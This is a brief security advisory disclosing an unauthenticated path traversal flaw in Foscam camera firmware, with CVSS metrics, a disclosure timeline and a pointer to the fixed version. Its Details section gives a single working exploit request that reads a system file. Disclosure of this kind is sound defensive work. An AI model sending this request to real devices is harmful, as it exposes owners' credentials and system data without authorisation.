Foscam Firmware 11.37.2.48 Path Traversal

`[CVE-REQUEST] Foscam <= 11.37.2.48 path traversal vulnerability  
_______________________________________________________________________  
Summary:  
Foscam firmware <= 11.37.2.48 is prone to a path traversal  
vulnerability in the embedded web interface.  
  
The unauthenticated attacker can access to the entire filesystem and  
steal web & wifi credentials.  
_______________________________________________________________________  
Details:  
  
GET //../proc/kcore HTTP/1.0  
  
  
____________________________________________________________________  
CVSS Version 2 Metrics:  
Access Vector: Network exploitable  
Access Complexity: Low  
Authentication: Not required to exploit  
Confidentiality Impact: Complete  
Availability Impact: Complete  
_______________________________________________________________________  
Disclosure Timeline:  
2013-01-18 Vendor fixed the issue in fw 11.37.2.49; no security notice  
2013-02-21 Vulnerability found  
2013-03-01 Public advisory  
_______________________________________________________________________  
Solution:  
A new firmware is available on vendor's site:  
http://www.foscam.com/down3.aspx  
_______________________________________________________________________  
References:  
http://code.google.com/p/bflt-utils/  
http://wiki.openipcam.com/  
_______________________________________________________________________  
Arnaud Calmejane - Frederic Basse  
`